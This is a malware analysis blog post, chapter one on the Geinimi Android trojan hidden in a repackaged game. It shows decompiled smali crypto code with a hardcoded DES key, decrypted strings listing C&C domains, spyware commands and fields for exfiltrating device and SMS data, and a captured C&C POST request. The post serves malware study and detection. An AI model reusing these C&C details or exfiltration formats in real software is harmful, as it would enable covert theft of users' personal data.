Inside Geinimi Android Trojan. Chapter One: Encrypted data and communication
Last week a new trojan affecting Android phones has been discovered. Called Geinimi, the trojan is hidden into other existing apps.
At the moment, it has been detected only in third-party Chinese app markets and Google Android Market does not seem to be compromised.
The main difference between Geinimi and previously discovered Android Trojans is the potential to communicate with a remote C&C server.
On the first chapter we will analyze how to obtain some encrypted data that the trojan hides as well as the communication with the C&C server.
As we did in the previous analysis of Trojan-SMS.AndroidOS.FakePlayer.a we'll use the android-apktool to obtain the app resources:
opensourcesim:~# apktool d MonkeyJump2.0.apk
I: Baksmaling...
I: Loading resource table...
I: Decoding resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Copying assets and libs...
Be sure you use some case-sensitive filesystem because baskmali will crash with a case-insensitive filesystem (ofuscation??)
jaime:Downloads jaimeblasco$ apktool d MonkeyJump2.0.apk
I: Baksmaling...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali
at brut.androlib.Androlib.decodeSourcesSmali(Unknown Source)
at brut.androlib.ApkDecoder.decode(Unknown Source)
at brut.apktool.Main.cmdDecode(Unknown Source)
at brut.apktool.Main.main(Unknown Source)
Caused by: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali
at brut.androlib.src.SmaliDecoder.decodeClassDefItem(Unknown Source)
at brut.androlib.src.SmaliDecoder.decode(Unknown Source)
at brut.androlib.src.SmaliDecoder.decode(Unknown Source)
... 4 more
Once we have the decoded resources we can find the crypto functions in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali:
.method public static b([B)[B
.locals 3
const-string v0, "DES"
:try_start_0
new-instance v0, Ljavax/crypto/spec/DESKeySpec;
sget-object v1, Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B
invoke-direct {v0, v1}, Ljavax/crypto/spec/DESKeySpec;->([B)V
const-string v1, "DES"
invoke-static {v1}, Ljavax/crypto/SecretKeyFactory;->getInstance(Ljava/lang/String;)Ljavax/crypto/SecretKeyFactory;
move-result-object v1
invoke-virtual {v1, v0}, Ljavax/crypto/SecretKeyFactory;->generateSecret(Ljava/security/spec/KeySpec;)Ljavax/crypto/SecretKey;
move-result-object v0
const-string v1, "DES"
invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
move-result-object v1
const/4 v2, 0x1
invoke-virtual {v1, v2, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
invoke-virtual {v1, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
move-result-object v0
:goto_0
return-object v0
:catch_0
move-exception v0
const/4 v0, 0x0
goto :goto_0
If we follow the function call Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B (./smali/com/dseffects/MonkeyJump2/jump2/e/k.smali) and take a look at the routines:
.array-data 0x1
0x1t
0x2t
0x3t
0x4t
0x5t
0x6t
0x7t
0x8t
.end array-data
We obtain the default DES key used by the trojan. With the key, we find several arrays defined in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali that are passed to the decryption function in runtime, example:
:array_0
.array-data 0x1
0x55t
0x35t
0x2t
0x34t
0x86t
0x64t
0x21t
0x53t
0x1dt
0x21t
0x3dt
0x3at
0xd0t
0xaft
0xb6t
0x57t
.end array-data
Here you can download a python script to parse the arrays and print the decrypted data, the ouput is the following:
python decrypt.py ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali
debug_internel
debug_outer
_value@
http://180.168.68.34:8080/android/getAdXml.do
contactlist
smsrecord
deviceinfo
location
sms
register
call
PostUrl
TicketerText
TitleText
ContextText
ShowMode
call://
email://
map://
sms://
search://
install://
shortcut://
contact://
wallpaper://
bookmark://
http://
toast://
startapp://
.zip
tel://
smsto:
geo:
CmdID
AdID
I
D
content://sms/inbox
content://sms/sent
com.android.launcher.action.INSTALL_SHORTCUT
method=post&IMEI=
&IMSI=
&AdID=
&CPID=
&PTID=
&SALESID=
&msgType=
imei=
&imsi=
&sms=
&type=send
&latitude=
&longitude=
&type=receive
&phone=
&MODEL=%s&BOARD=%s&BRAND=%s&CPU_ABI=%s&DEVICE=%s&DISPLAY=%s&FINGERPRINT=%s&HOST=%s&ID=%s&MANUFACTURER=%s
&PRODUCT=%s&TAGS=%s&TIME=%s&TYPE=%s&USER=%s&SoftwareVersion=%s&Line1Number=%s&NetworkCountryIso=%s
&NetworkOperator=%s&NetworkOperatorName=%s&NetworkType=%s&PhoneType=%s&SimCountryIso=%s&SimOperator=%s
&SimOperatorName=%s&SimSerialNumber=%s&SimState=%s&SubscriberId=%s&VoiceMailNumber=%s&CPID=%s
&PTID=%s&SALESID=%s&DID=%s&sdkver=%s&autosdkver=%s&shell=%s
suggestsms://
silentsms://
method=postlink&IMEI=
&FeatureTag=
text://
method=show&IMEI=
suggestsms
skiptime
changefrequency
&DID=
&sdkver=
&autosdkver=
IMEI
IMSI
CPID
PTID
SALESID
DID
sdkver
autosdkver
latitude
longitude
???????nim?????tom?????????ybo
&applist=
applist
updatehost
www.widifu.com:8080;www.udaore.com:8080;www.frijd.com:8080;www.islpast.com:8080;www.piajesj.com:8080
;www.qoewsl.com:8080;www.weolir.com:8080;www.uisoa.com:8080;www.riusdu.com:8080;www.aiucr.com:8080;117.135.134.185:8080
install
uninstall
showurl
cmd cp
cmd pm
cmd rm
/data/
shell
cmd
kill
start
android.provider.Telephony.SMS_RECEIVED
@@smskey(
@@kill@(
smskiller
content://sms/conversations/
As we can see, the author took the trouble to hide the stored data that contains for example the C&C domains:
www.widifu.com:8080;
www.udaore.com:8080;
www.frijd.com:8080;
www.islpast.com:8080;
www.piajesj.com:8080;
www.qoewsl.com:8080;
www.weolir.com:8080;
www.uisoa.com:8080;
www.riusdu.com:8080;
www.aiucr.com:8080;
117.135.134.185:8080
If we do a static analysis of the trojan we observe http connections to these servers at five minute intervals. Example communication:
POST /getAdXml.do HTTP/1.1
User-Agent: Dalvik/1.1.0 (...)
Host: 117.135.134.185:8080
Accept: *, */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 295
params=113a080016d3838bd9864d760e82d73375da7fa36b5cee41f2abfdd9d0e04c3b9aaf93bf06ed0490e670b4ab4bce6ec9a131f8d368d6a0
99325da2742677388e569a08f1ae2507d0f2abfdd9d0e04c3bf77f7339d5b56855b58a6e3c30c4f07b3f7c0347e2a498ab8619d53210630
f7ec73056aebc1ae56e3fef18cbf35d11c14c372859361c628de3953343b5860f9aHTTP/1.1
We can find all the communication functions on /smali/com/dseffects/MonkeyJump2/jump2/e/n.smali.
If we take a look to the code, we realize that the "params" content is encrypted with the same DES key used to hide the previous data. So if we decrypt the data we obtain:
PTID=33050001&IMEI=000000000000000&sdkver=10.7&SALESID=0006&IMSI=310260000000000&longitude=0.0&latitude=0.0&DID=2001&autosdkver=10.7&CPID=3305
As we can see the trojan is sending personal data (device identifiers; IMEI, IMSI, coordinates...).
In the next chapter we will continue analyzing other advance trojan capabilities. I hope you liked it and happy new hunting year.